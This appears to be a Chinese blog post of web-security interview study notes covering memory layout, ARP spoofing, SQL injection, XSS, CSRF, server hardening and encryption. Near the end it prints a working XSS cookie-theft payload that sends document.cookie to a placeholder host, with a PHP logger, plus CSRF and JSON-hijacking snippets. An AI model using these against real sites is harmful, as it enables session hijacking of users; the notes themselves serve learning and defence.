zoukankan      html  css  js  c++  java
  • 安全之路的一些参考

    江畔何人初见月,江月何年初照人。

    安全工程师的学习规划

    在网上看到了一个学习规划,目前来看,还是很不错的,记录于此,逐步加深学习:Web安全工程师(学习规划)

    一些题目

    题目部分收集于网络,加上自己的一些理解与记录。

    tcp与udp的区别

    堆和栈的区别

    1.分配和管理方式不同
    堆:动态分配,其空间的分配和释放都由程序员控制
    栈:由编译器自动管理
    2.产生碎片不同
    堆:频繁的new()/delete()malloc()/free()势必会造成内存空间的不连续,造成大量碎片,使程序效率降低
    栈:先进后出的队列,永远不可能有一个内存块从栈中间弹出
    3.生长方向不同
    堆:向着内存地址增加的方向增长
    栈:向着内存地址减小的方向增长,由内存的高地址向低地址方向增长

    补充:
    1.程序在内存中的存放形式:程序运行时,计算机会在内存区域开辟一段连续的内存块,包括
    代码段、数据段和堆栈段三部分,分配如图所示:

    解释:
    代码段(.text): 文本段(Text Segment),存放程序的机器码和只读数据。一般标记为只读,任何对该区的写操作都会导致段错误(Segmentation Fault)

    数据段:

    • 已初始化的数据段(.data):保存全局的和静态的已初始化变量
    • .rdata:包含程序中全局可访问的只读数据
    • 未初始化的数据段(.bss):保存全局的和静态的未初始化变量
    • 数据段在编译时分配

    2.堆(Heap):位于BSS段的上边,存储程序运行时分配的变量

    • 大小不固定,可动态扩张/缩减。malloc(), new()等内存分配函数实现。当调用new()等函数时,新分配内存被动态添加到堆上(堆扩张);当利用free(), delete()等函数释放内存时,内存从堆中被剔除(堆缩减)
    • 堆内存释放由应用程序控制 通常一个new要对应一个delete,如果程序没有释放,程序结束后操作系统会自动回收

    3.栈(Stack):函数调用时的临时信息结构,如函数调用传递的参数、函数返回地址、函数的局部变量等

    • 程序运行时由编译器按需分配,不需要时自动清除
    • 栈的特性: 先进后出(FILO)
    • 栈的基本操作:
      PUSH操作/压栈:向栈中添加数据,数据放置在栈顶;
      POP操作/弹栈:在栈顶移去1个元素,并将栈的大小减1

    进程和线程的区别

    1.进程:可并发执行的程序在某个数据集合上的一次执行过程,是操作系统资源分配保护调度的基本单位。
    2.线程:线程是操作系统进程中能够独立执行的实体(控制流),是处理调度分派的基本单位。

    arp欺骗与预防

    1.欺骗
    在同一个局域网内,主机之间是通过mac地址来相互识别的,但是网络层过来的数据包是ip地址标识的,所以会调用arp协议将ip地址转换为mac地址,然后根据这个mac地址进行数据包的转发,而arp协议原理大概可以理解为去查一份ip-mac地址映射表。

    通常情况下,这个表是没有问题的,但是,若攻击者向被攻击者和网关发送相应的伪造的ARP应答包,更改了两者的ARP表。当被工具这和网关进行通信时,根据已更改的ARP表,所有数据都将流向攻击者。通常攻击者还会做一个流量转发,这样被攻击者才不会察觉到被攻击。

    2.防御

    • MAC地址绑定
    • 使用静态ARP缓存(arp -s)
    • 使用ARP服务器(确保该服务器不被控制)
    • 使用ARP欺骗防护软件,如ARP防火墙
    • 及时发现进行ARP欺骗的主机,并将其隔离

    3.原理(ARP的缺陷):

    • 主机收到应答包后不验证自己是否发送过对应的ARP请求
    • 不验证该回应包是否可信
    • 直接用应答包里的信息替换ARP缓存表中的原有信息

    4.检测

    • 网络频繁掉线
    • 网络突然莫名其妙的慢
    • 使用arp –a命令发现网关的MAC地址与真实的网关MAC地址不同
    • 使用网络嗅探软件发现局域网存在大量ARP响应包

    关于sql注入

    1.概念:
    利用Web应用对后台数据库查询语句处理存在的安全漏洞,攻击者提交一段精心构造的数据库查询代码,根据返回的结果,获得他想得知的数据

    2.分类
    (1)按照注入点类型进行分类

    • 数字型注入
    • 字符型注入

    (2)按注入方法进行分类

    • Boolean-based blind(布尔型注入)
    • Time-based blind(基于时间延迟注入)
    • Error-based(报错型注入)
    • UNION query-based(可联合查询注入)
    • Stacked queries(piggy backing,多语句查询注入)

    3.SQL注入过程:

    • 寻找可能存在SQL注入漏洞的链接
    • 测试该网站是否有SQL注入漏洞
    • 猜测数据库名称->表->表的列信息(字段)->表内容(数据)
      重点关注用户相关的表
      获取用户名(管理员用户优先)+密码(如果加密,可能需要其他攻击破解)
    • 后续攻击:

    4.SQL 注入的防范:

    • 使用预编译语句,绑定变量
    • 对用户提交的数据和输入参数进行严格的过滤:比如过滤逗号,单引号,分号等;如果 select、delete、from、*、union 之类的字符串同时出现多个的话,也要引起重视;最好对用户提交参数的长度也进行判断
    • 摒弃动态 SQL 语句,改用存储过程来访问和操作数据。(考虑 Web 程序需要对数据库进行的各种操作,建立存储过程,让程序调用存储过程来完成数据库操作。这样提交的数据将是作为参数传递给存储过程 )
    • 使用安全函数
    • 最小权限原则:避免 Web 应用直接使用 root、dbowner 等高权限账户直接连接数据库

    XSS

    1.概念:跨站脚本攻击(Cross Site Script,XSS) :攻击者往Web页面里插入恶意html,JavaScript代码,当用户浏览该网页时,嵌入其中的代码被执行

    2.XSS的分类:
    反射型XSS(XSS Reflection,非持久性的XSS):简单的将用户输入数据“反射”给浏览器,黑客需要诱导用户点击一个恶意链接

    存储式XSS(Stored XSS):攻击脚本永久存储在目标服务器数据库或者文件中,比如黑客写下一篇含有恶意JavaScript代码的博客文章

    DOM型XSS:利用客户端浏览器对请求的页面进行DOM渲染(DOM XSS的代码并不需要服务器解析响应,而是浏览器的DOM解析触发)

    3.防御

    • 对前端输入做过滤和编码:比如只允许输入指定类型的字符,比如电话号格式,注册用户名限制等,输入检查需要在服务器端完成,在前端完成的限制是容易绕过的;
    • 对特殊字符进行过滤和转义;
    • 对输出做过滤和编码:在变量值输出到前端的HTML时进行编码和转义;
    • 给关键cookie使用http-only
    • 保护所有敏感的功能,以防被机器人自动执行或者被第三方网站所执行。可采用的技术:session标记(session tokens)、验证码
    • 如果web应用必须支持用户提交HTML,安全性将灾难性的下滑。但还是可以做一些事来保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何对远程内容的引用(尤其是CSS样式表和JavaScript)

    CSRF

    1.跨站请求伪造(Cross Site Request Forgery)原理:

    2.CSRF的攻击方式
    HTML CSRF

    <link href="">
    <img src="">
    
    <script src="">
    <video src='’>
    Backgroud:url('')
    

    JSON HiJacking

    构造自定义的回调函数,http://www.b.com/csrf.html
    <script>
        function hijack(data){console.log(data)};
    </script>
    <script src="http://www.a.com/json?callback=hijack">
    

    Flash CSRF

    通过 Flash 来实现跨域请求
    import flash.net.URLRequest;
    function get(){
        var url = new URLRequest('http://a.com/json?callback=hijack');
        url.method='GET';
        sendToURL(url);
    };
    

    3.CSRF防御

    • 通过验证码进行防御
    • 通过Referer Check检查请求来源(很容易被绕过)
    • 增加请求参数 token
    • 用户登录后随机生成一段字符串并存储在Session中
    • 在敏感操作中加入隐藏标签,value即为Session中保存的字符串
    • 提交请求,服务器拿Session与Token对比
    • 更新Token

    owasp top 10

    Web服务器主机系统的安全配置

    1.简单性

    主机系统越简单,其安全性就越好。最好把不必要的服务从服务器上卸载掉

    2.超级用户权限

    • 超级用户权限几乎等同于主机控制权,往往是攻击者最高目标
    • 尽量不用超级用户来维护系统。除非必要,否则不给予用户超级权限。非专业人员往往会因操作上的疏忽而使用户权限泄漏

    3.本地和远程访问控制

    • 访问控制是用来指定哪些用户可以访问系统的特定数据、目录或功能。应该实现一套有效的身份验证机制,并包含用户的日志记录
    • 当用户使用服务时,验证身份并记录其行为。如用户出现破坏安全的行为,这些记录将是审核的重要依据
    • 应该保护这些日志,以防被攻击者破坏借以逃避追查

    4.审计和可审计性

    • 维护主机安全是管理员的责任,但管理员并不是完美的。因此,对主机系统的安全审核很重要
    • 主要指平时对记录进行审计,在系统生成的大量审计记录中查找可疑数据,查找攻击者或恶意程序的踪迹

    5.恢复

    • 配置实时或增量备份策略是非常必要的,在紧急关头可以使得服务器的关键数据得以保存,从而可以迅速恢复服务以减少损失,同时便于事后取证的进行,以追查入侵者

    Web服务器的安全配置之IIS:

    1.IIS的安全安装

    • 不要将IIS安装在系统分区上
    • 修改IIS的安装默认路径
    • 打上Windows和IIS的最新补丁

    2.IIS的安全配置

    • 删除不必要的虚拟目录:
      安装后在C:\Inetpub\wwwroot下默认生成一些目录,包括IISHelp、IISAdmin、IISSamples、MSADC等,可直接删除
    • 删除危险的IIS组件:
      默认安装的一些IIS组件可能会造成安全威胁,例如SMTP Service和FTP Service、样本页面和脚本,根据需要决定是否删除
    • 为IIS中的文件分类设置权限:
      除在操作系统里为IIS的文件设置必要的权限外,还要在IIS管理器中设置权限
      好的设置策略: 为Web 站点上不同类型的文件都建立目录,然后给它们分配适当权限。例如:静态文件文件夹允许读、拒绝写,脚本文件夹允许执行、拒绝写和读取
    • 删除不必要的应用程序映射:
      IIS中默认存在很多种应用程序映射,可以对它进行配置,删除不必要的应用程序映射
    • 修改IIS日志的存放路径:
      IIS日志默认存放在%WinDir%\System32\LogFiles,黑客非常清楚,所以最好修改存放路径
      Internet信息服务->属性->网站目录属性->Web站点->选中“启用日志记录”->属性->“常规属性”->浏览或者直接在输入框中输入日志存放路径即可
    • 修改日志访问权限,设置只有管理员才能访问

    基于Unix/Linux系统Web服务器安全配置:

    • 不以root运行web服务器
    • 限制在WEB服务器开账户,定期删除一些用户
    • 对WEB服务器上的账户,在口令长度及定期更改方面作出要求,防止被盗用。同时注意保护用户名、组名及相应的口令
    • 尽量使FTP、MAIL等服务器与之分开,去掉ftp,sendmail,tftp,NIS, NFS等一些无关应用
    • 定期查看日志文件,分析一切可疑事件。在errorlog中出现rm、login、/bin/perl、/bin/sh等之类记录时,服务器可能已经受到一些非法用户的入侵
    • 文件访问控制:设置WEB服务器上系统文件的权限和属性,对可公开访问的文档分配一个公用的组,如WWW,并分配只读权限。把所有的HTML文件归属WWW组,由WEB管理员管理WWW组。WEB配置文件仅对WEB管理员有写的权利
    • 对不同目录设置不同的属性,如Read、Excute、Write
    • 在WEB服务器上去掉一些不用的脚本解释器,例如:当在你的CGI的程序中没用到perl时,就尽量把perl在系统解释器中删除掉

    Web 浏览器的安全措施:

    • 对浏览器的安全性进行设置:以IE为例,工具Internet选项->安全->自定义级别,根据需要进行设置
    • 经常对操作系统打补丁、升级
    • 使用漏洞数较少的浏览器,如Firefox
    • 经常对浏览器进行升级
    • 不要因为好奇而打开一些不信任的网站

    对称加密 非对称加密

    对称加密:加解密用同一密钥,密钥维护复杂 n(n-1)/2,不适合互联网传输密钥,加解密效率高。应用于加密数据。

    非对称加密:公钥推不出私钥,每个用户一个非对称密钥对就可以,适合于互联网传输公钥,但是加密效率低,应用于数字签名及加密。

    什么是同源策略(SOP, Same-Origin Policy)

    为了防止不同域在用户浏览器中彼此干扰,浏览器对从不同来源(域)收到的内容进行隔离。
    浏览器不允许任何旧有脚本访问一个站点的cookie,否则,会话容易被劫持。

    只有发布cookie的站点能够访问这些cookie,只有通过该站点返回的页面所包含或加载的JavaScript才能访问cookie。

    cookie存在哪里

    C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Cookies
    工具--文件夹选项--查看--将隐藏被保护的文件的对勾去掉就会看到cookies文件夹。

    xss如何盗取cookie

    攻击者代码:

    <?php
    $cookie=$_GET['cookie'];
    $time=date('Y-m-d g:i:s');
    $referer=getenv('HTTP_REFERER');
    $cookietxt=fopen('cookie.txt','a');
    fwrite($cookietxt,"time:".$time." cookie:".$cookie." referer:".$referer.""); 注意双引号,容易出错
    fclose($cookietxt);
    ?>
    
    

    脚本端:

    <script>
    document.write('<img src="http://ip/cookie.php?cookie='+document.cookie+'" width=0 height=0 border=0 />');
    </script>
    
    

    获取到cookie后,用firebug找到cookie,新建cookie
    加入cookie,用referer来提交,无需输入帐号密码直接登录进去!

    一些网上的题目

    这里,主要先记下来,慢慢完善

    对称加密非对称加密?
    什么是同源策略?
    cookie存在哪里?可以打开吗
    xss如何盗取cookie?
    tcp、udp的区别及tcp三次握手,syn攻击?
    证书要考哪些?
    DVWA是如何搭建的?
    渗透测试的流程是什么
    xss如何防御
    IIS服务器应该做哪些方面的保护措施:
    虚拟机的几种连接方式及原理
    xss有cookie一定可以无用户名密码登录吗?

    1.SQL注入。是什么?有哪些应对措施?预处理语句的原理是什么?
    2.CSRF。是什么?有哪些应对措施?优缺点?
    3.XSS。是什么?分类?有哪些应对措施?这些应对措施的优缺点?
    4.列举这几年爆出的较为严重的漏洞。漏洞影响的版本号,漏洞原理是什么?
    5.DDoS。是什么?有哪些分类?有哪些应对措施。
    6.sqlmap源码读过吗?讲讲。
    7.从输入网址到看到响应内容的整个过程发生了什么?越详细越好。
    8.渗透测试流程。

    1. 网络安全、Web安全、渗透测试笔试总结
    2. web安全岗面试题收集
    3. 安全工程师面试经验
    感谢阅读,如有问题,请批评指正,谢谢。
  • 相关阅读:
    Java闭包和回调
    Java通过字节分割字符串
    编译型语言和解释型语言的简单介绍
    对JavaScript事件处理程序/事件监听器的设定的简单介绍
    Linux netstat命令详解
    CentOS 7下iptables配置添加修改规则端口方法(转)
    设计模式
    设计模式
    Mysql8.0主从配置
    设计模式
  • 原文地址:https://www.cnblogs.com/clwsec/p/15679999.html
Copyright © 2011-2022 走看看